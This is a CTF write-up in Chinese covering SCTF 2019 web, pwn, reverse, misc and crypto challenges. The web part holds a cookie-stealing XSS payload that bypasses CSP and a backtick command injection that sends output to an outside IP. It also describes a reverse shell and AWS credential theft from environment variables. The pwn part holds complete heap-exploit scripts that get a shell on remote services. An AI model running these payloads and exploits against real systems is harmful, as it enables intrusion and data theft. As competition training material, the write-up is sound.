SCTF 2019 writeup

Web

math-is-fun1&2

题目明示了这是个XSS

在name处发现一个反射型XSS,但是有CSP

image.png

注意到strict-dynamic允许js动态添加的脚本执行,而忽略script-src的白名单,所以我们想办法利用js生成我们的payload

参考文档:

http://docs.mathjax.org/en/latest/options/hub.html

发现会从 root 属性中加载 js

image.png

同时看到代码里面,这里我们可以给root属性赋值

image.png

所以我们可以通过设置 root 属性来引入外部 js

再参考

https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html

使用文章中的方法通过低版本的angular js模板注入来绕过CSP

payload:

http://47.110.128.101/challenge?name=Challenger%0aMathJax[%27root%27]%3dhttps://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js%23%3C/script%3E%3Cdiv%20ng-app%3E%20{{constructor.constructor(%27location.href="http://ip/?"%2bdocument.cookie%27)()}}%20%3C/div%3E%3Cscript%3E

image.png

第二题用这个payload也能打

image.png

flag shop

在cookie中发现有jwt,解密发现所拥有的jkl是受cookie控制的,所以思路很明确我们需要去伪造cookie

在robots.txt中发现源码泄漏,访问filebak获取到源码:

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

发现在work这个路由中,有ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result,这里的#{params[:name][0,7]}我们可控,所以这里有一个模版注入,但是有限制:我们的payload不能超过7个字符。

去网上查找ERB模版的写法,寻找到了ruby其中的一个模版标签:<%=xx%>,但是因为长度的限制,我们只有2个字符可用

可以从源码得到,我们的需要的SECRET是在环境变量中,但是ENV不满足条件,考虑从ruby预定义的变量入手:

https://docs.ruby-lang.org/en/2.4.0/globals_rdoc.html

  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

上面正好有匹配ENV["SECRET"]的地方,所以利用

$` 和 $'

读取匹配之后结果

image.png

可以得到secret为 ec55ce17b51f7f2588b3d2f09c821e6499984b09810e652ce9fa4882fe4875c8

之后通过jwt.io伪造cookie
eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiI3MWExMGViMS05YTdlLTQxNjItOTBhYy1mNTM1MWRiY2IyN2YiLCJqa2wiOjFlKzI3fQ.zdeP9aVius0wO3JqnRuRdQFHAbMNTqZ96JZGATzoZO8

解密jwt,即可获得flag

image.png

esayweb

查看控制台的source,可以看到是用vue写的,可以在前端看到如果要访问main路由的话,必须要登陆才可以

image.png

但是这些都是前端限制的,所以我们只要修改返回包就可以直接绕过登陆的限制,但是整个web都是webpack打包的,所以我们需要找到经过混淆以后的requireLogin的条件

在app.51c756bc2bea67226d9b.js中有pack打包以后的requireLogin:

image.png

所以我们只需要将返回包中的requireLogin:!0改为:requireLogin:0即可绕过登陆限制

来到第二个页面,这里我们可以让npm去请求我们的服务器,而且在url后面如果有``的话,反引号之内的内容会被作为命令解析

image.png

输入:{"npm":["http://120.77.152.169:2333/`whoami`"]}

即可在服务器端收到命令执行的结果

image.png

所以我们可以反弹一个shell,但是shell没过多久就会被断,而且也在服务器上找不到flag,因为通过response header可以判断vsp是搭建在aws上的,猜测是否是在aws的存储桶中

所以我们可以通过awscli和服务器的环境变量,获得服务器的存储桶访问权限,参考以下链接:https://www.freebuf.com/articles/web/198687.html

我们可以通过反弹shell获取到服务器的环境变量

我们可以在本地通过env中的aws凭据来获取服务器对存储桶的访问权限,可以访问到存储桶的flag

image.png

执行:aws s3 cp s3://static.l0ca1.xyz/flaaaaaaaaag/flaaaag.txt flag.txt

获取到flag

image.png

关于awscli的使用:https://aws.amazon.com/cn/cli/

Pwn

two_heap

格式化字符串漏洞
%a leak libc地址
double free漏洞
当输入大小为0,0x8,0x10,0x18时都回分配0x20大小的堆块,直接tcache attack
修改__free_hook为system

这题最烦的是远程%a leak 出来的libc地址和基址的偏移和本地的不同,要爆破偏移

偏移为5XX(爆了一年)

from pwn import *
#context.log_level="debug"
def add(size,content="\n"):
    f.sendlineafter("choice","1")
    f.sendlineafter("size",str(size))
    if size>=8:
        f.sendafter("note",content)
def dele(index):
    f.sendlineafter("choice","2")
    f.sendlineafter("index",str(index))
libc=ELF("libc-2.26.so",checksec=False)
i=599
print i
#f=remote("47.104.89.129",10002)
while True:
    i-=1
    print i
    try:
        f=remote("47.104.89.129",10002)
        f.sendlineafter("SCTF","%a%a%a%a%a")
        f.settimeout(0.5)
        f.recvuntil("0x0")
        f.recvuntil("0x0")
        f.recvuntil(".0")
        libc_base=int((f.recv(11)+"0"),16)-0x3db720+i*0x1000
        success("libc_base :"+hex(libc_base))
        add(0x0)#0
        dele(0)
        dele(0)
        print(libc.symbols['__free_hook'])
        add(0x8,p64(libc_base+libc.symbols['__free_hook']))#1
        add(0x10)#2
        add(0x18,p64(libc_base+libc.symbols['system'])+"\x00"*0x10)#3
        add(0x28,"/bin/sh\0\n")#4
        dele(4)
        sleep(0.2)
        f.sendline("ls")
        s=f.recvrepeat(timeout=0.2)
        print  s
        if ("flag" or "home" in s):
            f.interactive()
        f.close()
    except Exception as e:
        print e.message
        f.close()
        sleep(0.5)
        pass
#gdb.attach(f)
f.interactive()

one_heap

1/256几率成功

double free漏洞
分配0x7f大小时会分配出0x90大小的堆块,利用多次分配同一大小堆块,溢出tcache count为0xff,再次free得到libc地址
然后部分写libc分配堆块到_IO_stdout,泄露libc地址,然后本来想再修改malloc_hook为one_gadget但发现一个都用不了,只能
部分写main_arena里的top_chunk为堆开始的tcache处,然后分配堆块伪造tcache指针,分配堆块分别修改malloc_hook为free,free_hook
为one_gadget ,成功getshell

from pwn import *
#context.log_level="debug"
def add(size,content="\n"):
    f.sendlineafter("choice","1")
    f.sendlineafter("size",str(size))
    if size:
        f.sendafter("content",content)
def dele():
    f.sendlineafter("choice","2")
i=0
libc=ELF("./libc-2.27.so",checksec=False)
while True:
    try:
        print i
        f=process("./one_heap")
        #f=remote("47.104.89.129",10001)
        add(0x7f)
        dele()
        dele()
        add(0x3f,(p64(0x90)+p64(0x20))*3+"\n")
        dele()
        add(0x7f)
        add(0x7f)
        add(0x7f)
        dele()
        add(0x20,"\x50\xf7\n")#1
        add(0x7f,"\x00"*0x28+p64(0x91)+"\n")
        add(0x7f,p64(0)*2+p64(0xfbad1800)+p64(0)*3+"\x90\n")
        libc_base=0
        libc_base=u64(f.recvuntil("\x7f",timeout=0.3)[-6:].ljust(8,'\0'))-0x3ec7e3
        if(libc_base==-0x3ec7e3):
            print("False1 ")
            f.close()
            i+=1
            continue
        #0x4f2c5
        #0x4f322
        #0x10a38c
        success("libc base :"+hex(libc_base))
        add(0x7f,p64(0)*12+p64(libc_base+libc.symbols['__malloc_hook']+0x10+96)+"\n")
        add(0x3f,p64(libc_base+0x4f2c5)+"\n")
        add(0x3f,"\x00\x70\n")
        add(0x6f,p64(0)*8+p64(libc_base+libc.symbols['__malloc_hook'])+p64(libc_base+libc.symbols['__free_hook'])+"\n")
        add(0x1f,p64(libc_base+0x4f322)+"\n")
        add(0xf,p64(libc_base+libc.symbols['free'])+"\n")
        add(0)
        sleep(0.3)
        f.sendline("cat flag")
        sleep(0.2)
        f.sendline("cat flag.txt")
        f.interactive()
    except Exception as e :
        print e.message
        print "false2 "
        i+=1
        sleep(0.5)
        f.close()
        pass
f.interactive()

easy_heap

1/16 的几率
null-by-one经典利用
攻击io_stdout结构体泄露libc基址
直接改malloc_hook为One_gadget发现不行,先改malloc_hook为main函数抬高栈,再改malloc_hook
为one_gadget就getshell了

from pwn import *
context.log_level="debug"
def add(size):
    f.sendlineafter(">>","1")
    f.sendlineafter("Size:",str(size))
def dele(index):
    f.sendlineafter(">>","2")
    f.sendlineafter("Index:",str(index))
def edit(index,content="\n"):
    f.sendlineafter(">>","3")
    f.sendlineafter("Index:",str(index))
    f.sendafter("Content:",content)
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so",checksec=False)
#f=process("./easy_heap")
f=remote("132.232.100.67",10004)
add(0xf8)#0
add(0x61)#1
add(0x68)#2
add(0xf8)#3
add(0xf8)#4
dele(0)
edit(2,"\x00"*0x60+p64(0x100+0x70*2))
dele(3)
dele(1)
add(0xf8)#0
dele(0)
add(0x2d1)#0
edit(0,"\x00"*0xf8+p64(0x71)+"\xdd\x25\n")
add(0x61)#1
add(0x61)#3
edit(3,"\x00"*(0x30+3)+p64(0xfbad1800)+p64(0)*3+"\x60\n")
libc_base=u64(f.recvuntil("\x7f")[-6:].ljust(8,'\0'))-0x3c56a4
success("libc_base :"+hex(libc_base))
dele(0)
dele(1)
add(0x2d1)#0
edit(0,"\x00"*0xf8+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23)+"\n")
add(0x61)#1
add(0x68)#5
s=f.recvuntil("0b8")[-12:]
main_addr=int(s,16)+0xc43-0x2020b8
success(hex(main_addr))
edit(5,"\x00"*0x13+p64(main_addr)+"\n")
for i in range(2):
    f.sendlineafter(">>","1")
    f.sendlineafter("Size","30")
edit(5,"\x00"*0x13+p64(libc_base+0xf1147)+"\n")
f.sendlineafter(">>","1")
f.sendlineafter("Size","30")
f.interactive()

Re

Crackme

第一个函数有反调试,然后第二个函数有好像查 peb 的内联汇编的反调试,没具体细看,然后就是对一个全局字符串的一个变换操作。其实就是个 base64 变换完之后,后面的逻辑就是对输入进行 AES cbc 模式加密,然后标准啊 base64 加密,与刚才的的全局字符串进行比较。所以解法就是先解 Base64 ,在以 AES cbc mode , iv=sctf那串, key=三叶草英文那段,因为在外面用的平板,所以就没有图了。然后解出来就是 flag

babyre

map = [ 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x73, 0x2e, 0x2e, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x23, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2a, 0x2e, 0x2e, 0x2a, 0x2a, 0x2e, 0x2e, 0x2e, 0x2a, 0x2e, 0x2e, 0x2a, 0x2e, 0x2a, 0x2e, 0x2a, 0x2a, 0x2e, 0x2a ]
for i in range(0,len(map),5):
    print chr(map[i]),chr(map[i+1]),chr(map[i+2]),chr(map[i+3]),chr(map[i+4])
    if (i+5)%25 == 0 and i != 0:
        print "\n"

level1:三维走迷宫,ddwwxxssxaxwwaasasyywwdd

table = [ 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x3eL, 0x7fL, 0x7fL, 0x7fL, 0x3fL, 0x34L, 0x35L, 0x36L, 0x37L, 0x38L, 0x39L, 0x3aL, 0x3bL, 0x3cL, 0x3dL, 0x7fL, 0x7fL, 0x7fL, 0x40L, 0x7fL, 0x7fL, 0x7fL, 0x0L, 0x1L, 0x2L, 0x3L, 0x4L, 0x5L, 0x6L, 0x7L, 0x8L, 0x9L, 0xaL, 0xbL, 0xcL, 0xdL, 0xeL, 0xfL, 0x10L, 0x11L, 0x12L, 0x13L, 0x14L, 0x15L, 0x16L, 0x17L, 0x18L, 0x19L, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x1aL, 0x1bL, 0x1cL, 0x1dL, 0x1eL, 0x1fL, 0x20L, 0x21L, 0x22L, 0x23L, 0x24L, 0x25L, 0x26L, 0x27L, 0x28L, 0x29L, 0x2aL, 0x2bL, 0x2cL, 0x2dL, 0x2eL, 0x2fL, 0x30L, 0x31L, 0x32L, 0x33L, 0x7fL, 0x7fL, 0x7fL, 0x7fL, 0x7fL ]
v7 = 0
for i in range(48,127):
    for j in range(48,127):
        for k in range(48,127):
            for l in range(48,127):
                v7 = 0
                v7 = (table[i]&0x3F) | (v7<<6)
                v7 = (table[j]&0x3F) | (v7<<6)
                v7 = (table[k]&0x3F) | (v7<<6)
                v7 = (table[l]&0x3F) | (v7<<6)
                #print hex(v7)
                if v7==0x736374:
                    print "sct  "+chr(i)+chr(j)+chr(k)+chr(l)
for i in range(48,127):
    for j in range(48,127):
        for k in range(48,127):
            for l in range(48,127):
                v7 = 0x736374
                v7 = (table[i]&0x3F) | (v7<<6)
                v7 = (table[j]&0x3F) | (v7<<6)
                v7 = (table[k]&0x3F) | (v7<<6)
                v7 = (table[l]&0x3F) | (v7<<6)
                #print hex(v7)
                if v7&0xffffff==0x665f39:
                    print "f_9  "+chr(i)+chr(j)+chr(k)+chr(l)

for i in range(48,127):
    for j in range(48,127):
        for k in range(48,127):
            for l in range(48,127):
                v7 = 0x665f39
                v7 = (table[i]&0x3F) | (v7<<6)
                v7 = (table[j]&0x3F) | (v7<<6)
                v7 = (table[k]&0x3F) | (v7<<6)
                v7 = (table[l]&0x3F) | (v7<<6)
                #print hex(v7)
                if v7&0xffffff==0x313032:
                    print "102  "+chr(i)+chr(j)+chr(k)+chr(l)

level2:爆破,c2N0Zl85MTAy
level3 :

passwd = [190,4,6,128,197,175,118,71,159,204,64,31,216,191,146,239]
table = [ 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x5, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x4, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0xb, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x8, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x7, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0xf, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0xe, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x1, 0x21, 0x78, 0x87, 0xd4, 0x0, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x2, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0xd, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x3, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0xa, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0xc, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x9, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48]

def check():
    tmptable = [0]*400
    j = 0
    for i in table:
        j+=1
        if tmptable[i] == 1:
            print hex(i),j
        else:
            tmptable[i] = 1


def make_long(a1,a2,a3,a4):
    tmp = a1 << 24
    tmp += a2 << 16
    tmp += a3 << 8
    tmp += a4
    return tmp

def rol(num,shift):
    tmp1 = (num << shift) & 0xffffffff
    tmp2 = num >> (32-shift)
    return tmp1 | tmp2

def ror(num,shift):
    tmp1 = (num << (32-shift)) & 0xffffffff
    tmp2 = num >> shift
    return tmp1 | tmp2

def revsub(res,a2,a3,a4):
    index = a2^a3^a4
    v1 = make_long( table[(index&0xff000000)>>24], table[(index&0xff0000)>>16],table[(index&0xff00)>>8],table[index&0xff] )
    sub_ret = rol(v1,12) ^ rol(v1,8) ^ ror(v1,2) ^ ror(v1,6)
    return res ^ sub_ret

def sub(a1,a2,a3,a4):
    index = a2^a3^a4
    v1 = make_long( table[(index&0xff000000)>>24], table[(index&0xff0000)>>16],table[(index&0xff00)>>8],table[index&0xff] )
    sub_ret = rol(v1,12) ^ rol(v1,8) ^ ror(v1,2) ^ ror(v1,6)
    return a1^sub_ret

def bswap(a1):
    tmp = 0
    op = a1
    for i in xrange(4):
        tmp += (op&0xff) << (3-i)*8
        op = op >> 8
    return tmp


v4 = make_long(passwd[12],passwd[13],passwd[14],passwd[15])
v3 = make_long(passwd[8],passwd[9],passwd[10],passwd[11])
v2 = make_long(passwd[4],passwd[5],passwd[6],passwd[7])
v1 = make_long(passwd[0],passwd[1],passwd[2],passwd[3])

for i in xrange(26):
    tmp = revsub(v4,v1,v2,v3)
    v4 = v3
    v3 = v2
    v2 = v1
    v1 = tmp
print hex(bswap(v1))
print hex(bswap(v2))
print hex(bswap(v3))
print hex(bswap(v4))

结果:fl4g_is_s0_ug1y!

sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy-fl4g_is_s0_ug1y!}

music

arg13是从apk中rawresource的sctf.db文件中数据库查出来的,把s1和s2两列拼接起来

检验的时候,在onclick方法里面,先把文本框的字符串赋值好,然后启动一个service进行检验,看到onServiceConnected方法里面
f是全局判断是否序列码正确的boolean标志

g函数如下

然后搜索出密文字符串

加密后为C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53

b方法里面

q(s.this.a).get()返回就是hellosctf,前面字符串拼接出来的

核心加密函数为c类的a方法

第二个参数为hellosctf再经过md5以后为E7E64BF658BAB14A25C9D67A054CEBE5

期望结果

C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53

private static String append0_and_upper(byte[] arg5) {
        StringBuilder v0 = new StringBuilder();
        int mid_str;
        for (mid_str = 0; mid_str < arg5.length; ++mid_str) {
            String v2 = Integer.toHexString(arg5[mid_str] & 255);
            if (v2.length() == 1) {
                v2 = '0' + v2;
            }

            v0.append(v2.toUpperCase());
        }

        return v0.toString();
    }

    public static String ori_calc(String arg12, String arg13) {
        int v4;
        int v0 = M;
        int[] v1 = new int[v0];
        byte[] v0_1 = new byte[v0];
        int v2;
        for(v2 = 0; v2 < M; ++v2) {
            v1[v2] = v2;
            v0_1[v2] = ((byte)arg13.charAt(v2 % arg13.length()));
        }

        v2 = 0;
        int v3 = 0;
        while(true) {
            v4 = M;
            if(v2 >= v4 - 1) {
                break;
            }

            v3 = (v1[v2] + v3 + v0_1[v2]) % v4;
            v4 = v1[v2];
            v1[v2] = v1[v3];
            v1[v3] = v4;
            ++v2;
        }

        char[] v2_1 = arg12.toCharArray();
        char[] v3_1 = new char[arg12.length()];
        v4 = 0;
        int v5 = 0;
        int v6;
        for(v6 = 0; v6 < v2_1.length; ++v6) {
            int v8 = M;
            v4 = (v4 + 1) % v8;
            v5 = (v1[v4] + v5) % v8;
            int v7 = v1[v4];
            v1[v4] = v1[v5];
            v1[v5] = v7;
            v3_1[v6] = ((char)(v2_1[v6] - v4 ^ (((char)v1[(v1[v4] + v1[v4] % v8) % v8]))));
        }
        return append0_and_upper(new String(v3_1).getBytes());
    }
    
public static void main(String[] args) throws NoSuchAlgorithmException {
        String enc = append0_and_upper(MessageDigest.getInstance("MD5").digest("hellosctf".getBytes()));
        System.out.println(enc);
        System.out.println("Wanted: "+"C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53");
        String wanted="C28BC39DC3A6C283C2B3C39DC293C289C2B8C3BAC29EC3A0C3A7C29A1654C3AF28C3A1C2B1215B53";
        //C28B C39D C3A6 C283 C2B3 C39D C293 C289 C2B8 C3BA C29E C3A0 C3A7 C29A 1654 C3AF 28C3 A1C2 B121 5B53
        //System.out.println(ori_calc("s", "E7E64BF658BAB14A25C9D67A054CEBE5"));
        //System.out.println("        "+ori_calc("sctf{", "E7E64BF658BAB14A25C9D67A054CEBE5"));

        StringBuilder res=new StringBuilder();
        for(int i=0;i<wanted.length();i+=2){
            res.append(detect(wanted.substring(0,i),res.toString()));
        }
        System.out.println("\nFlag:------------------------------");
        System.out.println(res);
        System.out.println(ori_calc("sctf{IT_IS_A_NICE_SON=}", "E7E64BF658BAB14A25C9D67A054CEBE5"));
        System.out.println(wanted);
    }

FLAG: sctf{IT_IS_A_NICE_SONG}

Strange apk

在activity的oncreate的地方,不是平时的调用模式

看到assert目录下面有data文件,以及DexClassLoader,推测是dex热加载。

在模拟器运行后dump dex。dump完的dex在/data/data/sctf.hello下面,pull到本地。

然后dump完以后流程就很清晰了

public void onClick(View arg9) {
                String v1 = "";
                String v2 = "";
                int v3 = 0;
                String v0 = this.val$ed.getText().toString();
                int v5 = 30;
                if(v0.length() == v5) {
                    while(v3 < 12) {
                        v1 = v1 + v0.charAt(v3);
                        ++v3;
                    }

                    v1 = f.sctf(v1);
                    while(v3 < v5) {
                        v2 = v2 + v0.charAt(v3);
                        ++v3;
                    }

                    if(v1.equals("c2N0ZntXM2xjMG1l")) {
                        Intent v4_1 = new Intent();
                        v4_1.putExtra("data_return", v2);
                        s.this.setResult(-1, v4_1);
                        s.this.finish();
                    }
                    else {
                        Toast.makeText(s.this.getApplicationContext(), "something wrong", 1).show();
                    }
                }
                else {
                    Toast.makeText(s.this.getApplicationContext(), "something wrong", 1).show();
                }
            }
        });

f.sctf函数是base64编码用的,所以flag前一半是c2N0ZntXM2xjMG1l用base64解码sctf{W3lc0me

然后前一半通过验证就,就会带着后一半的输入返回到t这个class

if(arg9 == 1 && arg10 == -1) {
            try {
                MessageDigest v5_1 = MessageDigest.getInstance("MD5");
                v5_1.update("syclover".getBytes());
                String v4 = new BigInteger(1, v5_1.digest()).toString(16);
            }
            catch(Exception v5) {
                v5.printStackTrace();
            }

            if(f.encode(arg11.getStringExtra("data_return"), v4).equals("~8t808_8A8n848r808i8d8-8w808r8l8d8}8")) {
                ((TextView)v0).setVisibility(0);
                ((Button)v1).setVisibility(4);
            }
            else {
                Toast.makeText(this.getApplicationContext(), "one more step", 1).show();
            }
        }

这里将syclover用MD5加密后传入到f.encode里面。

encode:

public static String encode(String arg5, String arg6) {
        int v0 = arg5.length();
        int v1 = arg6.length();
        StringBuilder v2 = new StringBuilder();
        int v3;
        for(v3 = 0; v3 < v0; ++v3) {
            v2.append(arg5.charAt(v3));
            v2.append(arg6.charAt(v3 / v1));
        }

        return v2.toString();
    }

仔细分析后,v1长度为32,所以v3/v1一定是0,所以每个字符8都是固定插入在字符串中的,只要把~8t808_8A8n848r808i8d8-8w808r8l8d8}8字符串中的8去掉就行

后面的解码脚本如下:

public static void main(String[] args) throws NoSuchAlgorithmException {
        MessageDigest v5_1 = MessageDigest.getInstance("MD5");
        v5_1.update("syclover".getBytes());
        String clover = new BigInteger(1, v5_1.digest()).toString(16);

        System.out.println(clover);
        String enc = "~8t808_8A8n848r808i8d8-8w808r8l8d8}8";
        StringBuilder ori = new StringBuilder();
        StringBuilder dig = new StringBuilder();

        for (int i = 0; i < (enc.length() / 2); i+=2) {
            ori.append(enc.charAt(i));
            dig.append(enc.charAt(i + 1));
        }
        System.out.println("ori: "+ori);
        System.out.println("dig: "+dig);

        for (int i = 0; i < enc.length() ; i++) {
            if(enc.charAt(i)!='8'){
                System.out.print(enc.charAt(i));
            }
        }
    }

最后sctf{W3lc0me~t0_An4r0id-w0rld}

Misc

头号玩家

打开是个飞机大战游戏
发现往后走出屏幕得到一个假flag
往前走出屏幕就是真flag了

Maaaaaaze

  1. 截全图用画图的油漆桶倒了一下,连通图
  2. 连出图,观察点和边,发现是其实是树
  3. 计算这个树的直径
from bs4 import BeautifulSoup
import igraph

with open('Maze.html') as f:
    raw_content = f.read()

html = BeautifulSoup(raw_content, 'lxml')


def p2n(x, y):
    return y * 100 + x


G = igraph.Graph()
G.add_vertices(10000)

for point in html.find_all('td'):
    point_id = point.attrs['id'].split('-')
    y, x = int(point_id[0]), int(point_id[1])
    point_style = point.attrs['style']

    if 'top' not in point_style:
        G.add_edge(p2n(x, y), p2n(x, y - 1))
    if 'left' not in point_style:
        G.add_edge(p2n(x, y), p2n(x - 1, y))
    if 'bottom' not in point_style:
        G.add_edge(p2n(x, y), p2n(x, y + 1))
    if 'right' not in point_style:
        G.add_edge(p2n(x, y), p2n(x + 1, y))

print(G.diameter()+1)

~~networkx跑了5分钟没跑出来~~

打开电动车

打开wav文件看波形图

image.png

初步判断是第一部分校准后重传两次保证数据准确性。
经检验第一块与第二块的数据完全一致。
查询关于遥控车门的资料,注意到两种遥控模块的信号如下例

image.png

其与题目中的信号结构高度相似,确定了目标。
经过进一步的阅读,得知在此题目中使用了PT2242的信号格式

image.png

于是将数据进行简单的划分后得到

image.png

即011101001010101001100010
得到地址位flag:sctf{01110100101010100110}

Crypto

babygame

sage脚本,pow直接发送个负数就行了

from Crypto.Util.strxor import strxor

def linearPaddingHastads(cArray,nArray,aArray,bArray,e=3,eps=1/8):
    """
    Performs Hastads attack on raw RSA with no padding.
    This is for RSA encryptions of the form: cArray[i] = pow(aArray[i]*msg + bArray[i],e,nArray[i])
    Where they are all encryptions of the same message.
    cArray = Ciphertext Array
    nArray = Modulus Array
    aArray = Array of 'slopes' for the linear padding
    bArray = Array of 'y-intercepts' for the linear padding
    e = public exponent
    """
    if(len(cArray) == len(nArray) == len(aArray) == len(bArray) == e):
        for i in range(e):
            cArray[i] = Integer(cArray[i])
            nArray[i] = Integer(nArray[i])
            aArray[i] = Integer(aArray[i])
            bArray[i] = Integer(bArray[i])
        TArray = [-1]*e
        for i in range(e):
            arrayToCRT = [0]*e
            arrayToCRT[i] = 1
            TArray[i] = crt(arrayToCRT,nArray)
        P.<x> = PolynomialRing(Zmod(prod(nArray)))
        gArray = [-1]*e
